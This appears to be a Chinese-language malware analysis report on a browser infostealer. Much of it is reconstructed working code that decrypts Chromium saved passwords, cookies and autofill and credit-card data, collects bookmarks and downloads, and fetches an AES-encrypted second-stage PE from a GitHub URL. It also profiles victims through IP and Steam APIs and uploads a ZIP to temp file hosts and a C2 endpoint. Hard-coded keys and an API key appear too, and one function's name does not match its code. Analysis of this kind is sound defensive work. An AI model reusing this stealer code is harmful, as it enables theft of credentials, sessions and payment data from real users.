○ 一组带 headless 与降安全语义的启动参数

● spawn
○ 实际执行浏览器启动


代码:
  1.         /**   
  2.      * 动态日志已经证明这条链实际命中 Edge     
  3.      * 它的意义不是直接读本地数据库,而是借浏览器本体执行浏览器侧辅助动作     
  4.      */   
  5.     async function runHeadlessBrowserAssistChain(deps) {   
  6.       const executableMap = deps.decodeBrowserExecutableMapEntries(deps.browserExecutableMapBase64);   
  7.       const edgePath = executableMap.Edge;   
  8.       if (!edgePath) return false;   
  9.          
  10.       if (!(await deps.pathExists(edgePath))) return false;   
  11.          
  12.       await deps.spawn(edgePath, [   
  13.         "--headless=new",   
  14.         "--no-sandbox",   
  15.         "--disable-web-security",   
  16.         "--disable-extensions",   
  17.         "--disable-background-networking",   
  18.         "--disable-site-isolation-trials",   
  19.       ]);   
  20.          
  21.       return true;   
  22.     }   
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5. 浏览器数据采集主线
这一部分在代码内部会围绕各类 Chromium / Gecko profile 逐个检查关键文件是否存在,然后分别打开 SQLite 数据库或 JSON 文件,把不同类型的数据拆开导出。对 Login Data,它会查 logins 表并解密 password_value;对 Web Data,它会取 autofill、credit_cards、local_stored_cvc;对 Cookies,它会读 encrypted_value 并按浏览器版本处理; History Bookmarks,它会提取下载记录、访问痕迹和书签树。最终这些内容会被分类写入归档目录,形成浏览器侧的主体战果。


5.1 Chromium 登录数据
功能解析:
1. 定位每个 Chromium profile 下的 Login Data
2. 查询 origin_url / username_value / password_value
3. 使用 Local State 恢复 key 解密保存密码
4. 按浏览器维度写入 Passwords/*.txt


运行结果:
● 产生浏览器保存账号密码的明文导出


读取目标 / 请求目标:
  1. <Browser>\User Data\<Profile>\Login Data   
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动态参数:
● 目标数据库路径模式:
○ <Browser>\User Data\<Profile>\Login Data

● 已确认命中路径:
○ C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data
○ C:\Users\Administrator\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

● 关键动态依赖:
○ SQLite logins 表
○ Local State 恢复出的 masterKey


参数:
● targets
○ 每个浏览器/配置文件对应一项
○ 含浏览器名、Login Data 路径、已恢复 masterKey
● queryLoginRows
○ 读取 SQLite logins表
● decryptChromiumSecret
○ 解密 password_value
● appendArtifact
○ 把明文结果写进归档


代码:
  1. async function stealPasswords(_, options) {   
  2.       try {   
  3.         const passwordDir = `${options.baseDir}/Passwords`;   
  4.         options.fileSystem.mkdir(passwordDir);   
  5.         const passwordFile = `${passwordDir}/Passwords.txt`;   
  6.         const results: string[] = [];   
  7.          
  8.         for (const browser of options.browsers) {   
  9.           // 跳过不需要处理的浏览     
  10.           if (["Chrome", "Brave", "Edge", "Chrome Beta", "Avast"].includes(browser.name)) {   
  11.             continue;   
  12.           }   
  13.          
  14.           for (const profile of browser.profiles) {   
  15.             let db: any = null;   
  16.             try {   
  17.               const profilePath = options.path.join(browser.basePath, profile);   
  18.               const loginDataPath = options.path.join(profilePath, "Login Data");   
  19.                   
  20.               if (!options.fileSystem.existsSync(loginDataPath)) {   
  21.                 continue;   
  22.               }   
  23.          
  24.               const browserName = `${browser.name} ${profile}`;   
  25.               const masterKey = browser.masterKeys?.[profile];   
  26.               if (!masterKey) {   
  27.                 continue;   
  28.               }   
  29.          
  30.               // 打开SQLite数据     
  31.               db = new options.database(loginDataPath, {   
  32.                 readonly: true,   
  33.                 fileMustExist: true   
  34.               });   
  35.                   
  36.               db.pragma("query_only = ON");   
  37.               db.pragma("temp_store = MEMORY");   
  38.          
  39.               // 查询所有登录信     
  40.               const logins = db.prepare(`   
  41.                 SELECT origin_url, username_value, password_value, date_created   
  42.                 FROM logins   
  43.               `).all();   
  44.          
  45.               for (const login of logins) {   
  46.                 try {   
  47.                   if (!login.password_value || !login.password_value.length) {   
  48.                     continue;   
  49.                   }   
  50.          
  51.                   const encryptedData = login.password_value;   
  52.                   const version = encryptedData.toString("utf8", 3, 29);   
  53.                      
  54.                   if (["v10", "v11"].includes(version)) {   
  55.                     const nonce = encryptedData.slice(29, 127);   
  56.                     const ciphertext = encryptedData.slice(127, encryptedData.length - 197);   
  57.                     const authTag = encryptedData.slice(encryptedData.length - 197);   
  58.          
  59.                     // 解密密码   
  60.                     const decipher = options.crypto.createDecipheriv("aes-256-gcm", masterKey, nonce);   
  61.                     decipher.setAuthTag(authTag);   
  62.                     const password = Buffer.concat([   
  63.                       decipher.update(ciphertext),   
  64.                       decipher.final()   
  65.                     ]).toString("utf8");   
  66.          
  67.                     const dateCreated = login.date_created;   
  68.                     let formattedDate = "Unknown";   
  69.                         
  70.                     if (typeof dateCreated === "number" && !isNaN(dateCreated)) {   
  71.                       const microseconds = dateCreated / 1000000;   
  72.                       const epoch1601 = new Date("1601-01-01T00:00:00Z").getTime();   
  73.                       const timestamp = epoch1601 + microseconds;   
  74.                       formattedDate = new Date(timestamp).toLocaleString();   
  75.                     }   
  76.          
  77.                     // 格式化输     
  78.                     results.push(   
  79.                       "------------------------------\n" +   
  80.                       `Browser: ${browserName}\n` +   
  81.                       `URL: ${login.origin_url}\n` +   
  82.                       `Username: ${login.username_value}\n` +   
  83.                       `Password: ${password}\n` +   
  84.                       `Date Created: ${formattedDate}\n`   
  85.                     );   
  86.                   }   
  87.                 } catch {   
  88.                   // 单个条目处理失败时跳     
  89.                 }   
  90.               }   
  91.             } catch {   
  92.               // 浏览器或配置文件处理失败时跳     
  93.             } finally {   
  94.               if (db) {   
  95.                 try {   
  96.                   db.close();   
  97.                 } catch {   
  98.                   // 关闭数据库失败时跳过   
  99.                 }   
  100.               }   
  101.             }   
  102.           }   
  103.         }   
  104.          
  105.         // 将所有结果写入文     
  106.         if (results.length) {   
  107.           await options.fileSystem.appendFile(   
  108.             passwordFile,   
  109.             Buffer.from(results.join(""), "utf8")   
  110.           );   
  111.         }   
  112.       } catch {   
  113.         // 整体处理失败时静默处     
  114.       }   
  115.     }   
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5.2 Chromium Cookie
功能解析:
1. 定位 Chromium Cookie 数据库
2. 查询 host/path/name/expiry/encrypted value
3. 解密 Cookie 值
4. 以接 Netscape Cookie 文本格式导出


运行结果:
● 产生网站登录 / 会话 Cookie 导出


读取目标 / 请求目标:
  1. <Browser>\User Data\<Profile>\Network\Cookies
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动态参数:
● 目标数据库路径模式:
○ <Browser>\User Data\<Profile>\Network\Cookies

● 关键动态依赖:
○ encrypted_value
○ 对应 profile masterKey


参数:
● profiles
○ 浏览器名、Profile 名、Cookie DB 路径、解 key

● queryCookieRows
○ 读取 Cookie

● decryptChromiumSecret
○ 解密 encrypted_value

● appendArtifact
○ 写入归档文件


代码:
  1. /**   
  2.      * 读取 Cookie DB 并按 profile 导出     
  3.      */   
  4.     async function collectChromiumCookiesByProfileName(profiles: Array<{ browserName: string; profileName: string; cookieDbPath: string; masterKey: Buffer }>, deps) {   
  5.       for (const profile of profiles) {   
  6.         try {   
  7.           // 读取当前 profile  Cookie 数据     
  8.           const rows = await deps.queryCookieRows(profile.cookieDbPath);   
  9.          
  10.           // 每条 Cookie 都要 encrypted_value 解成明文   
  11.           const text = rows   
  12.             .map((row) => {   
  13.               const value = deps.decryptChromiumSecret(row.encrypted_value, profile.masterKey);   
  14.               return [row.host_key, "TRUE", row.path, row.is_secure ? "TRUE" : "FALSE", row.expires_utc, row.name, value].join("\t");   
  15.             })   
  16.             .join("\n");   
  17.          
  18.           // 按浏览器 profile 维度落成 Cookie 文本   
  19.           await deps.appendArtifact(`Cookies/${profile.browserName}_${profile.profileName}.txt`, text);   
  20.         } catch {}   
  21.       }   
  22.     }   
复制代码


5.3 Chromium 自动填充与信用卡
功能解析:
1. 读取 Web Data
2. 导出自动填充字段值
3. 同类逻辑还会读取信用卡表和本 CVC 表并尝试解密


运行结果:
● 产生自动填充数据导出
● 产生信用卡号 / CVC 导出


读取目标 / 请求目标:
  1. <Browser>\User Data\<Profile>\Web Data   
复制代码

动态参数:
● 关键动态表
○ autofill
○ credit_cards
○ local_stored_cvc

● 关键动态依赖:
○ 浏览 profile 路径
○ 已恢复的 masterKey


参数:
● targets
○ 浏览器和 Web Data 路径

● queryAutofillRows
○ 查询自动填充

● appendArtifact
○ 写入归档


代码:
  1. /**   
  2.      * 查询 Web Data.autofill 表,导出自动填充项     
  3.      */   
  4.     async function collectChromiumAutofillData(targets: Array<{ browserName: string; webDataPath: string }>, deps) {   
  5.       for (const target of targets) {   
  6.         try {   
  7.           //  Web Data  autofill 表中取自动填充条     
  8.           const rows = await deps.queryAutofillRows(target.webDataPath);   
  9.          
  10.           // 输出 name / value / count,便于直接看用户保存过哪些表单内     
  11.           const text = rows   
  12.             .map((row) => `Name: ${row.name}\nValue: ${row.value}\nCount: ${row.count}`)   
  13.             .join("\n\n");   
  14.          
  15.           // 写入 Autofills 归档目录   
  16.           await deps.appendArtifact(`Autofills/${target.browserName}.txt`, text);   
  17.         } catch {}   
  18.       }   
  19.     }   
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5.4 书签与下载历史
功能解析:
1. 解析书签 JSON
2. 读取下载历史
3. 把浏览器用户行为痕迹整理进归档


运行结果:
● 产生书签导出
● 产生下载历史导出


读取目标 / 请求目标:
  1.     <Browser>\User Data\<Profile>\Bookmarks   
  2.     <Browser>\User Data\<Profile>\History   
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动态参数:
● 已确认命中路径:
○ C:\Users\Administrator\AppData\Local\Microsoft\Edge\User Data\Default\Bookmarks
○ C:\Users\Administrator\AppData\Local\Microsoft\Edge\User Data\Default\History

● 关键动态记录:
○ 书签 roots
○ downloads 相关历史记录


参数:
● targets
○ 书签文件路径与历史数据库路径

● readJson
○ 读取 Bookmarks

● flattenBookmarks
○ 展平书签

● queryDownloadRows
○ 查询下载历史

● appendArtifact
○ 写入归档


代码:
  1. /**   
  2.      * 解析 Bookmarks JSON  History.downloads,分别导出书签与下载记录     
  3.      */   
  4.     async function collectChromiumBookmarksAndHistory(targets: Array<{ browserName: string; bookmarksPath: string; historyDbPath: string }>, deps) {   
  5.       for (const target of targets) {   
  6.         try {   
  7.           // 书签保存 JSON 文件中,需要先展开 roots 树结     
  8.           const bookmarkJson = await deps.readJson(target.bookmarksPath);   
  9.           const bookmarks = deps.flattenBookmarks(bookmarkJson?.roots ?? {});   
  10.           await deps.appendArtifact(`Bookmarks/${target.browserName}.txt`, bookmarks.join("\n"));   
  11.         } catch {}   
  12.          
  13.         try {   
  14.           // 下载历史来自 History SQLite  downloads 记录   
  15.           const downloads = await deps.queryDownloadRows(target.historyDbPath);   
  16.           const downloadText = downloads   
  17.             .map((row) => `URL: ${row.tab_url ?? row.current_path}\nTarget: ${row.target_path ?? ""}`)   
  18.             .join("\n\n");   
  19.           await deps.appendArtifact(`Downloads/${target.browserName}.txt`, downloadText);   
  20.         } catch {}   
  21.       }   
  22.     }   
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6. payload2 第二阶段执行链
这一部分在代码内部对应一条标准的“第二阶段载荷处理链”:先用一组内置参数通过 AES-256-GCM 解出真实下载 URL,再对远程返回的 Base64 文本做解码,并继续走 AES-256-CBC 解出最终的 PE。主程序本身负责完成这条下载、解密、装载链, payload2 被解出来之后,会继续承担 Chromium 受保护数据的本地处理任务,例如处理带 APPB 头的数据、调用浏览器自己的解密能力,以及把这些高价值结果回交主流程。


6.1 第二阶段载荷下载
功能解析:
1. payload 里先有一 AES-256-GCM 密文
2. 该密文解出后的明文不 PE,而是第二阶段下载 URL
3. 主代码再对这 URL XHR/HTTP 请求,拉取远程第二阶段载荷


运行结果:
● 先得 payload2 下载 URL
● 再取 Base64 形式的第二阶段远程载


读取目标 / 请求目标:
  1. AES-256-GCM 解出 URL:   
  2.     GET [url]https://raw.githubusercontent.com/RobertJunas2145/x0x/refs/heads/main/mm[/url]
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动态参数:
● 阶段 A:GCM 解出的明 URL 证据
○ payload2_deep_dumps/0405_decipher_output_update_aes-256-gcm.bin

● 原始响应文件:
○ payload2_deep_dumps/0407_served_payload2_raw_base64.bin

● 原始响应大小
○ 770,777 字节

● 关键 XHR 事件
○ XHR_OPEN
○ XHR_SEND
○ PAYLOAD2_XHR_SERVED_LOCAL


参数:
● gcmEncryptedUrl
○ payload 内置 GCM 密文 URL

● gcmKey
○ 用于解出下载 URL 的第一阶段 key

● gcmIv
○ 用于解出下载 URL 的第一阶段 iv

● httpGet
○ 发起第二阶段远程下载

● payload2Url
○ 第二阶段载荷 URL


代码:
  1. <pre language="javascript" code_block="true"><code><font size="3" face="微软雅黑">/**   
  2.      * 先用 AES-256-GCM 解出下载 URL,再通过 XHR/HTTP 拉取第二阶段 payload     
  3.      */   
  4.     async function downloadPayload2(deps) {   
  5.       // 第一阶段:GCM 解密得到真正 payload2 下载地址   
  6.       const url = await deps.decryptUrlWithGcm();   
  7.          
  8.       // 第二阶段:对 URL 发请求;分析环境里可以被 hook 成返回本 c2_mm_payload.bin   
  9.       const payload = deps.serveLocalPayloadIfHooked   
  10.         ? await deps.serveLocalPayloadIfHooked(url)   
  11.         : await deps.httpGet(url);   
  12.          
  13.       return { url, payload };   
  14.     }    </font></code></pre><p></p><p data-track="688"></p>
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6.2 Base64 解码与 AES 解密
功能解析:
1. 先把远程响应当作 Base64 文本解码成二进制密文
2. 再使 AES-256-CBC 对该二进制密文做解密
3. 从动态数据看,主代码:payload2 至少存在一层明确的对称解密


运行结果:
● 解密后的本地辅助 PE 模块


读取目标 / 请求目标:
  1.     payload2_deep_dumps/0407_served_payload2_raw_base64.bin   
  2.     payload2_deep_dumps/0410_decipher_input_aes-256-cbc.bin   
  3.     payload2_deep_dumps/0411_decipher_output_update_aes-256-cbc.bin
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动态参数:
● CBC 解密输入
○ 578,064 字节

● CBC 解密输出
○ 578,048 字节

● CBC key
○ payload2_deep_dumps/0408_decipher_key_aes-256-cbc.bin
○ 长度 32 字节
○ hex: 8888e9f69db0abf36046076df1b00bf0fe7e9a9e2583b8791bb172100a4cac58

● CBC iv
○ payload2_deep_dumps/0409_decipher_iv_aes-256-cbc.bin
○ 长度 16 字节
○ hex: bbf65d08c9830be0ed3ad56a9e7f48a5

● 解密产物
○ payload2_deep_dumps/0411_decipher_output_update_aes-256-cbc.bin
○ MZ 开头
○ SHA256: 55e80a984d85bc95cd3b5ac2678e478b966001b270398b0147e7314e9a2126ad


代码:
  1. /**   
  2.      * 对第二阶 payload 执行 Base64 解码,再 AES-256-CBC 解密,得 Windows PE     
  3.      */   
  4.     async function decodeAndDecryptPayload2(base64Payload: string, deps) {   
  5.       // 第一层:Base64 文本转二进制输入   
  6.       const encryptedBuffer = deps.base64ToBuffer(base64Payload);   
  7.          
  8.       // 第二层:AES-256-CBC 解密;现有证据显示输出以 MZ 开头, PE   
  9.       const key = await deps.getPayload2Key();   
  10.       const iv = await deps.getPayload2Iv();   
  11.          
  12.       return deps.aes256CbcDecrypt(encryptedBuffer, key, iv);   
  13.     }   
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7. 环境画像与附加情报
这一部分在代码内部会主动发起外部查询并做本地存在性探测。它先通过 ipify / ipapi 获取公网 IP、城市、国家、ASN、运营商等信息,再检 Riot、Minecraft、Epic、Steam、Telegram、FileZilla、AnyDesk、RustDesk 等路径是否存在;如果命中 Steam,还会继续读 loginusers.vdf,提 SteamID 并调 Steam Web API 拉玩家资料、已拥有游戏和等级。此部分并非直接实施账号窃取行为,而是通过对目标主机进行标记,向攻击者提示该主机的价值及需重点关注的方向。


7.1 公网 IP / 地理画像
功能解析:
1. 请求 ipify 取公 IP
2. 再请 ipapi 取地理位置、ASN、运营商等画像
3. 失败时回退到全字段 N/A

运行结果:
● 形成受害者公 IP 和地理画像摘要

读取目标 / 请求目标:
  1. GET [url]https://api.ipify.org?format=json[/url]   
  2. GET [url]https://ipapi.co/<ip>/json/[/url]   
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动态参数:
● 关键动态字段:
○ ip
○ city
○ region
○ country_name
○ asn
○ org


参数:
● http
○ 发起外部 HTTP 请求的客户端

● timeoutMs
○ 请求超时时间


代码:
  1. /**   
  2.      * 先调 ipify 获取公网 IP,再 ipapi 获取地域/ASN/运营商画像     
  3.      */   
  4.     async function fetchPublicIpProfile(deps) {   
  5.       try {   
  6.         // 没有 Steam  loginusers.vdf 就直接结     
  7.         if (   
  8.           !deps.fs.existsSync("C:\\Program Files (x86)\\Steam") ||   
  9.           !deps.fs.existsSync("C:\\Program Files (x86)\\Steam\\config\\loginusers.vdf")   
  10.         ) {   
  11.           return;   
  12.         }   
  13.          
  14.         //  loginusers.vdf 中提取所有匹配的 SteamID64   
  15.         const loginUsers = deps.fs.readFileSync(   
  16.           "C:\\Program Files (x86)\\Steam\\config\\loginusers.vdf",   
  17.           "utf-8"   
  18.         );   
  19.         const steamIds = loginUsers.match(/7656[0-9]{13}/g) || [];   
  20.          
  21.         // 对每 SteamID 并发拉玩家资料、拥有游戏和 Steam 等级   
  22.         const results = await Promise.allSettled(   
  23.           steamIds.map(async (steamId) => {   
  24.             const [playerSummary, ownedGames, steamLevel] = await Promise.all([   
  25.               deps.http.get(   
  26.                 "https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=440D7F4D810EF9298D25EDDF37C1F902&steamids=" +   
  27.                   steamId   
  28.               ),   
  29.               deps.http.get(   
  30.                 "https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&steamid=" +   
  31.                   steamId   
  32.               ),   
  33.               deps.http.get(   
  34.                 "https://api.steampowered.com/IPlayerService/GetSteamLevel/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&steamid=" +   
  35.                   steamId   
  36.               ),   
  37.             ]);   
  38.          
  39.             return deps.formatSteamSummary(   
  40.               playerSummary?.data?.response,   
  41.               ownedGames?.data?.response,   
  42.               steamLevel?.data?.response   
  43.             );   
  44.           })   
  45.         );   
  46.          
  47.         const fulfilled = results   
  48.           .filter((item) => item.status === "fulfilled" && item.value)   
  49.           .map((item: any) => item.value);   
  50.          
  51.         if (fulfilled.length > 0) {   
  52.           const summaryText =   
  53.             "xilon Steam Session (" + deps.hostLabel + ")</b>\n" + fulfilled.join("\n");   
  54.           await deps.sendSteamSummary(summaryText);   
  55.         }   
  56.       } catch {}   
  57.     }   
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7.2 游戏 / 工具存在性探测
功能解析:
1. 判断 Riot、Minecraft、Epic、Steam、Telegram、FileZilla、AnyDesk、RustDesk 是否存在。
2. 若有 Steam,会进一步读 loginusers.vdf 并补玩家资料、已拥有游戏、等级等信息。

运行结果:
形成“这台主机装了哪些游戏/工具”的存在性画像,若命中 Steam,则补充 Steam 账号摘要并进入最终上报链。

读取目标 / 请求目标:
  1. C:\ProgramData\Riot Games
  2. %APPDATA%\.minecraft
  3. %APPDATA%\EpicGamesLauncher
  4. C:\Program Files (x86)\Steam
  5. C:\Program Files (x86)\Steam\config\loginusers.vdf
  6. %APPDATA%\Telegram Desktop\tdata
  7. %APPDATA%\FileZilla
  8. %APPDATA%\AnyDesk
  9. %APPDATA%\RustDesk
  10. GET [url]https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=[/url]
  11. <apiKey>&steamids=<steamId>
  12. GET [url]https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?key=[/url]
  13. <apiKey>&steamid=<steamId>
  14. GET [url]https://api.steampowered.com/IPlayerService/GetSteamLevel/v1/?key=[/url]
  15. <apiKey>&steamid=<steamId>
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动态参数:
本地存在性检查结果:
Steam 富化前提:
C:\Program Files (x86)\Steam 存在
C:\Program Files (x86)\Steam\config\loginusers.vdf 存在


参数:
pathExists
检查目标目录或文件是否存在fs.existsSync
检查 Steam 根目录和fs.readFileSync
读取 loginusers.vdf
http调 Steam Web API
formatSteamSummary
把玩家资料、游戏数量、等级等结果拼成可上报文本


代码:
  1. /**
  2. * 检查本机是否存在高价值游戏、通信工具和远控工具。
  3. */
  4. async function collectGameAndToolPresence(
  5. deps: {
  6. pathExists: (path: string) => Promise<boolean>;
  7. joinPath: (...parts: string[]) => string;
  8. roamingAppData: string;
  9. }
  10. ): Promise<{
  11. riotGames: boolean;
  12. minecraft: boolean;
  13. epicGames: boolean;
  14. steam: boolean;
  15. filezilla: boolean;
  16. Telegram: boolean;
  17. Anydesk: boolean;
  18. Rudesk: boolean;
  19. }> {
  20. const summary = {
  21. riotGames: false,
  22. minecraft: false,
  23. epicGames: false,
  24. steam: false,
  25. filezilla: false,
  26. Telegram: false,
  27. Anydesk: false,
  28. Rudesk: false,
  29. };
  30. try {
  31. // 并发检查样本硬编码关注的路径,结果会被用于主机价值画像
  32. const results = await Promise.all([
  33. deps.pathExists("C:\\ProgramData\\Riot Games"),
  34. deps.pathExists(deps.joinPath(deps.roamingAppData, ".minecraft")),
  35. deps.pathExists(deps.joinPath(deps.roamingAppData, "EpicGamesLauncher")),
  36. Promise.all([
  37. deps.pathExists("C:\\Program Files (x86)\\Steam"),
  38. deps.pathExists("C:\\Program Files
  39. (x86)\\Steam\\config\\loginusers.vdf"),
  40. ]),
  41. deps.pathExists(deps.joinPath(deps.roamingAppData, "Telegram Desktop",
  42. "tdata")),
  43. deps.pathExists(deps.joinPath(deps.roamingAppData, "FileZilla")),
  44. deps.pathExists(deps.joinPath(deps.roamingAppData, "AnyDesk")),
  45. deps.pathExists(deps.joinPath(deps.roamingAppData, "RustDesk")),
  46. ]);
  47. summary.riotGames = results[0];
  48. summary.minecraft = results[1];
  49. summary.epicGames = results[2];
  50. summary.steam = results[3][0] && results[3][1];
  51.     summary.Telegram = results[4];
  52.     summary.filezilla = results[5];
  53.     summary.Anydesk = results[6];
  54.     summary.Rudesk = results[7];
  55.   } catch {}
  56.   return summary;
  57. }
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如果本机存在 Steam 和 loginusers.vdf,则进一步补充 Steam 账号资料:


代码:
  1. async function collectSteamProfileSummary(
  2.   deps: {
  3.     fs: {
  4.       existsSync: (path: string) => boolean;
  5.       readFileSync: (path: string, encoding: string) => string;
  6.     };
  7.     http: {
  8.       get: (url: string) => Promise<any>;
  9.     };
  10.     formatSteamSummary: (playerSummary: any, ownedGames: any, steamLevel: any) =>
  11. string;
  12.     sendSteamSummary: (text: string) => Promise<void>;
  13.     hostLabel: string;
  14.   }
  15. ): Promise<void> {
  16.   try {
  17.     // 没有 Steam 或 loginusers.vdf 就直接结束
  18.     if (
  19.       !deps.fs.existsSync("C:\\Program Files (x86)\\Steam") ||
  20.       !deps.fs.existsSync("C:\\Program Files
  21. (x86)\\Steam\\config\\loginusers.vdf")
  22.     ) {
  23.       return;
  24.     }
  25.     // 从 loginusers.vdf 中提取所有匹配的 SteamID64
  26.     const loginUsers = deps.fs.readFileSync(
  27.       "C:\\Program Files (x86)\\Steam\\config\\loginusers.vdf",
  28.       "utf-8"
  29.     );
  30.     const steamIds = loginUsers.match(/7656[0-9]{13}/g) || [];
  31.     // 对每个 SteamID 并发拉玩家资料、拥有游戏和 Steam 等级
  32.     const results = await Promise.allSettled(
  33.       steamIds.map(async (steamId) => {
  34.         const [playerSummary, ownedGames, steamLevel] = await Promise.all([
  35.           deps.http.get(
  36.             "https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?
  37. key=440D7F4D810EF9298D25EDDF37C1F902&steamids=" +
  38.               steamId
  39.           ),
  40.           deps.http.get( "https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?
  41. key=440D7F4D810EF9298D25EDDF37C1F902&steamid=" +
  42.               steamId
  43.           ),
  44.           deps.http.get(
  45.             "https://api.steampowered.com/IPlayerService/GetSteamLevel/v1/?
  46. key=440D7F4D810EF9298D25EDDF37C1F902&steamid=" +
  47.               steamId
  48.           ),
  49.         ]);
  50.         return deps.formatSteamSummary(
  51.           playerSummary?.data?.response,
  52.           ownedGames?.data?.response,
  53.           steamLevel?.data?.response
  54.         );
  55.       })
  56.     );
  57.     const fulfilled = results
  58.       .filter((item) => item.status === "fulfilled" && item.value)
  59.       .map((item: any) => item.value);
  60.     if (fulfilled.length > 0) {
  61.       const summaryText =
  62.         "xilon Steam Session (" + deps.hostLabel + ")</b>\n" +
  63. fulfilled.join("\n");
  64.       await deps.sendSteamSummary(summaryText);
  65.     }
  66.   } catch {}
  67.   }
复制代码


8. 归档、统计与上传
这一部分在代码内部会先读取前面各目录里已经落好的 Passwords、Cookies、Autofills、Cards、Bookmarks、Downloads、Wallets、Extension、Private Files 等结果,统计数量并取关键字段;再把公 IP、机器信息、工具存在性、Steam 摘要 Discord token 数量拼进最终对象。随后它会生 ZIP、调用多个临时文件平台上传归档,并把下载链接、ZIP 密码和整份受害者摘要再发给 sender-moss 这类控制端接口,完成真正的“收集结果出网” 。


8.1 ZIP 上传 tmpfile.link
功能解析:
1. 构 multipart/form-data
2. ZIP 作为 file 字段上传 tmpfile.link
3. 返回 downloadLink
4. 若失败则返回 null


运行结果:
● 得到一个可转交 C2 或摘要消息的下载链接


读取目标 / 请求目标:
  1. POST [url]https://tmpfile.link/api/upload[/url]   
  2. POST [url]https://temp.sh/upload[/url]   
  3. POST [url]https://tempfile.org/api/upload/local[/url]   
  4. POST [url]https://upload.gofile.io/uploadfile[/url]
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动态参数:
● 关键动态参数:
○ filename
○ contentType: application/zip
○ 返回 downloadLink


参数:
● [fileName, fileContent]
○ 上传文件名和 ZIP 内容
● FormDataCtor
○ multipart 表单构造器
● http
○ HTTP/Axios 客户


代码:
  1.     /**   
  2.      * 上传 ZIP 文件:tmpfile.link 并返回下载链接     
  3.      */   
  4.     async function uploadTmpfileLink([fileName, fileContent]: [string, string | Blob], deps) {   
  5.       try {   
  6.         // 组装 multipart/form-data,请求体里只有一 file 字段   
  7.         const formData = new deps.FormDataCtor();   
  8.         formData.append("file", fileContent, {   
  9.           filename: fileName,   
  10.           contentType: "application/zip",   
  11.         });   
  12.          
  13.         // 把最 ZIP 上传 tmpfile.link   
  14.         const response = await deps.http.post(   
  15.           "https://tmpfile.link/api/upload",   
  16.           formData,   
  17.           {   
  18.             headers: { ...formData.getHeaders() },   
  19.             maxBodyLength: Infinity,   
  20.             maxContentLength: Infinity,   
  21.           }   
  22.         );   
  23.          
  24.         return response.data?.downloadLink ?? null;   
  25.       } catch {   
  26.         return null;   
  27.       }   
  28.     }   
复制代码


8.2 最终汇总与上报
功能解析:
1. 汇总前面所有采集结果的数量和摘要
2. 拼上机器画像、公 IP、ASN、城市、国家、工具存在性等环境信息
3. 拼上钱包、扩展、私有文件、token 数量
4. 再把 ZIP 下载地址和密码并进最终结果
5. 把摘要交给后续上报链


运行结果:
● 形成最终受害者画像
● 为外部上 / C2 回传提供结构化摘要


读取目标 / 请求目标:
  1. 本地统计目录:   
  2.     Passwords   
  3.     Cookies   
  4.     Autofills   
  5.     Cards   
  6.     Bookmarks   
  7.     Downloads   
  8.     Wallets   
  9.     Extension   
  10.     Private Files   
  11.          
  12.     下载第二阶段 payload:   
  13.     GET [url]https://raw.githubusercontent.com/RobertJunas2145/x0x/refs/heads/main/mm[/url]   
  14.          
  15.     临时文件上传:   
  16.     POST [url]https://temp.sh/upload[/url]   
  17.     POST [url]https://tmpfile.link/api/upload[/url]   
  18.     POST [url]https://tempfile.org/api/upload/local[/url]   
  19.     POST [url]https://upload.gofile.io/uploadfile[/url]   
  20.          
  21.     C2 / 上报:   
  22.     POST [url]https://api.hypercoreengine.com/sender-moss[/url]
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动态参数:
● 环境画像输入
○ host
○ os
○ cpu
○ gpu
○ ramGb
○ hwid
○ publicIp
○ country
○ city
○ asn
○ org

● 本地统计输入
○ Passwords
○ Cookies
○ Autofills
○ Cards
○ Bookmarks
○ Downloads
○ Wallets
○ Extension
○ Private Files

● 关键外传参数
○ zipDownloadLink
○ zipPassword


参数:
● 各类统计函数
○ 密码、Cookie、Autofill、Cards、Bookmarks、Downloads

● 环境画像函数
○ 公网 IP、机器信息、工具存在性、Steam 摘要

● 资产计数函数
○ 钱包、扩展、私有文件、Discord token

● getZipUploadResult
○ 读取 ZIP 上传返回

● sendSummary
○ 发送最终摘要


代码:
  1. /**   
  2.      * 从各个归档目录和环境探针结果里汇总出一份结构化受害者摘要,并交给上报链     
  3.      */   
  4.     type FinalBundleSummary = {   
  5.       host: string;   
  6.       os: string;   
  7.       cpu: string;   
  8.       gpu?: string;   
  9.       ramGb: number;   
  10.       hwid: string;   
  11.       publicIp: string;   
  12.       country: string;   
  13.       city: string;   
  14.       asn: string;   
  15.       org: string;   
  16.       passwordCount: number;   
  17.       cookieCount: number;   
  18.       autofillCount: number;   
  19.       cardCount: number;   
  20.       bookmarkCount: number;   
  21.       downloadCount: number;   
  22.       walletCount: number;   
  23.       extensionCount: number;   
  24.       privateFileCount: number;   
  25.       discordTokenCount: number;   
  26.       steamSummary?: string;   
  27.       toolPresence: Record<string, boolean>;   
  28.       zipDownloadLink?: string;   
  29.       zipPassword?: string;   
  30.     };   
  31.          
  32.     async function collectAndUploadEncryptedArchiveBundle(deps) {   
  33.       // 并发拉取所有已经收集好的计数、环境画像和上传结果   
  34.       const [   
  35.         machine,   
  36.         publicIp,   
  37.         toolPresence,   
  38.         steamSummary,   
  39.         passwordCount,   
  40.         cookieCount,   
  41.         autofillCount,   
  42.         cardCount,   
  43.         bookmarkCount,   
  44.         downloadCount,   
  45.         walletCount,   
  46.         extensionCount,   
  47.         privateFileCount,   
  48.         discordTokenCount,   
  49.         zipResult,   
  50.       ] = await Promise.all([   
  51.         deps.getMachineProfile(),   
  52.         deps.fetchPublicIpProfile(),   
  53.         deps.collectGameAndToolPresence(),   
  54.         deps.collectSteamProfileSummary(),   
  55.         deps.countArtifactEntries("Passwords"),   
  56.         deps.countCollectedCookieLines(),   
  57.         deps.countArtifactEntries("Autofills"),   
  58.         deps.countArtifactEntries("Cards"),   
  59.         deps.countArtifactEntries("Bookmarks"),   
  60.         deps.countArtifactEntries("Downloads"),   
  61.         deps.getWalletArtifactCount(),   
  62.         deps.getExtensionArtifactCount(),   
  63.         deps.getPrivateFileCount(),   
  64.         deps.getDiscoveredDiscordTokenCount(),   
  65.         deps.getZipUploadResult(),   
  66.       ]);   
  67.          
  68.       // 组装最终上报对     
